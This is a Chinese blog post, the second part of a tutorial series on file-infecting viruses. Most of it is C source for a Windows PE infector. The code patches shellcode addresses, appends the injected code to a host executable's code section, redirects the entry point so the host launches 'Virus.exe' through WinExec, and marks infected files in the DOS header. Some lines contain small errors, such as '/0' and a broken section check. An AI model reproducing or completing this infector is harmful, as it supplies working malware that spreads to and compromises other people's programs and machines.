关于感染型病毒的那些事(二)

 从(一)中建立了初步的注入代码后,需要把用来占位的11223344H改为相应的地址,用一个函数来完成.

 

  1. //OEP是从PE头中得到的程序入口点,VEP是病毒注入的起始位置,ImageBase是文件基址  
  2. int BuildInjectCode(DWORD OEP, DWORD VEP, DWORD ImageBase)  
  3. {  
  4.     unsigned char *p = InjectCode;  
  5.     *(DWORD *)(p + 1)  = VEP + ImageBase + 0x2B;    //SEH处理程序地址  
  6.     *(DWORD *)(p + 15) = ImageBase + 0x53;          //病毒名,这里我写在了PE的DOS头中  
  7.     *(DWORD *)(p + 20) = aWinExec;                  //offset WinExec  
  8.     *(DWORD *)(p + 37) = OEP + ImageBase;           //原程序OEP地址  
  9.     *(DWORD *)(p + 43) = OEP + ImageBase;  
  10.       
  11.     return 0x3E;    //0x3E是InjectCode的长度  
  12. }  

 

    利用Windows搜索文件的特点,如果将病毒放在System32文件夹下,那么,WinExec路径参数只需传递病毒文件名即可(如Virus.exe).

    打开文件进行注入感染,过程是:CreateFile()->CreateFileMapping()->MapViewOfFile()->InjectHelper()->UnMapViewOfFile(),CloseHandle().关键代码在于InjectHelper,是注入感染的帮助函数.用MapViewOfFile得到文件的内存指针,然后将指针传递给InjectHelper(),详细代码如下:

 

  1. void InjectHelper(char *Buff)  
  2. {  
  3.     //检查感染标志  
  4.     if (*(Buff + 0x4e) == 0x49      //'I'注入感染  
  5.         || *(Buff + 0x4e) == 0x52   //'R'资源感染  
  6.         || *(Buff + 0x4e) == 0x56)  //'V'病毒主体文件  
  7.     {  
  8.         return;  
  9.     }  
  10.       
  11.     char *ptr = Buff, *Section;  
  12.     DWORD temp, OEP, VEP, ImageBase;  
  13.     int i, NumberOfSection, LengthOfInjectCode;  
  14.     if (*(WORD *)ptr != 0x5A4D) return;     //检查MZ标志  
  15.     ptr += *(WORD *)(ptr + 0x3c);           //指向e_lfanew  
  16.     if (*(WORD *)ptr != 0x4550) return;     //检查PE标志  
  17.     temp = *(WORD *)(ptr + 0x5c);           //指向SubSystem  
  18.     if (temp != 2 && temp != 3) return;     //检查子系统版本,GUI或CUI  
  19.     OEP = *(DWORD *)(ptr + 0x28);           //取得原OEP  
  20.     Section = ptr + 0x100;                  //指向VirtualSize  
  21.     NumberOfSection = *(WORD *)(ptr + 6);   //获取节数  
  22.     for(i = 0; i < NumberOfSection; i++) //判断OEP在哪个节当中  
  23.     {  
  24.         if(*(DWORD *)(Section + 4) <= OEP /  
  25.             && *(DWORD *)Section + *(DWORD *)(Section + 4))  
  26.             break;  
  27.         Section += 0x28;  
  28.     }  
  29.     if (i >= NumberOfSection - 1)  
  30.     {  
  31.         return;  
  32.     }  
  33.     temp = *((DWORD *)Section + 8);         //指向RawSize  
  34.     if (*(DWORD *)Section < temp) temp = *(DWORD *)Section;          //取VirtualSize和RawSize中小的值  
  35.     VEP = *(DWORD *)(Section + 4) + temp;                           //VirtualAddress+temp(其实就是代码的长度)  
  36.     ImageBase = *(DWORD *)(ptr + 0x34);  
  37.     LengthOfInjectCode = BuildInjectCode(OEP, VEP, ImageBase);  
  38.     if (*(DWORD *)(Section + 0x28 + 0xc) <=                         //利用原代码长度加注入代码长度  
  39.             temp + *(DWORD *)(Section + 0x0c) + LengthOfInjectCode) //看是否覆盖到下一个区块的区域  
  40.     {  
  41.         return;  
  42.     }  
  43.     MoveMemory(Buff + temp + *(DWORD *)(Section +0x0c), InjectCode, LengthOfInjectCode);  
  44.     *(DWORD *)(ptr + 0x28) = VEP;           //修改PE文件的EntryPoint为注入代码地址  
  45.   
  46.     //写入注入标示'I'和病毒名Virus.exe,位于DOS头  
  47.     *(Buff + 0x4e) = 0x49;  
  48.     *(Buff + 0x53) = 'V';  
  49.     *(Buff + 0x54) = 'i';  
  50.     *(Buff + 0x55) = 'r';  
  51.     *(Buff + 0x56) = 'u';  
  52.     *(Buff + 0x57) = 's';  
  53.     *(Buff + 0x58) = '.';  
  54.     *(Buff + 0x59) = 'e';  
  55.     *(Buff + 0x5a) = 'x';  
  56.     *(Buff + 0x5b) = 'e';  
  57.     *(Buff + 0x5c) = '/0';  
  58.   
  59.     return;  
  60. }  

 

    利用BYTE*指针(即char*指针)指向buffer来完成指针的移动操作比较容易理解,但是需要做大量的WORD和DWORD的转换,基本这样就完成了对一个文件的注入感染了.过程中没有引入PE文件头的各类结构,都是用指针定位,所以需要对PE结构有一定的理解.

    To be continue...

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值